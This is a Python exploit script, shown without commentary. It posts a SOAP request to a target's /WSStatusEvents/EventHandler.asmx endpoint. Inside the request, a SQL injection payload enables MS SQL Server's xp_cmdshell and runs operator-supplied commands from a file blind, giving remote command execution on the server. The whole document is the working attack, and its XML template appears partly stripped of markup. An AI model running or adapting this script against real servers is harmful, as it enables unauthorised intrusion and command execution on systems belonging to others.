import argparse import requests import urllib3 import sys from requests.exceptions import ReadTimeout urllib3.disable_warnings() XML_PAYLOAD = """ string GoodApp=1|md5={} """ SQLI_PAYLOAD = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell '{}'--" def get_cmd_arrays(cmd_file): try: with open(cmd_file, 'r') as f: cmds = f.read().split('\n') cmds = [c for c in cmds if c] return cmds except Exception as e: sys.stderr.write(f'[!] Unexpected error reading cmd file: {e}\n') return [] def exploit(url, command): h = {'Content-Type': 'application/soap+xml' } sqli_payload = SQLI_PAYLOAD.format(command) xml_payload = XML_PAYLOAD.format(sqli_payload) try: r = requests.post(f'{url}/WSStatusEvents/EventHandler.asmx', data=xml_payload, headers=h, verify=False, timeout=30) if r.status_code == 200: print(f'[+] Successfully sent payload to server') else: print(f'[-] Unexpected response from server') except TimeoutError: # Expected to timeout given it keeps connection open for process duration pass except ReadTimeout: # Expected to timeout given it keeps connection open for process duration pass if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('-u', '--url', help='The base URL of the target', required=True) parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True) args = parser.parse_args() commands = get_cmd_arrays(args.cmd_file) for command in commands: exploit(args.url, command)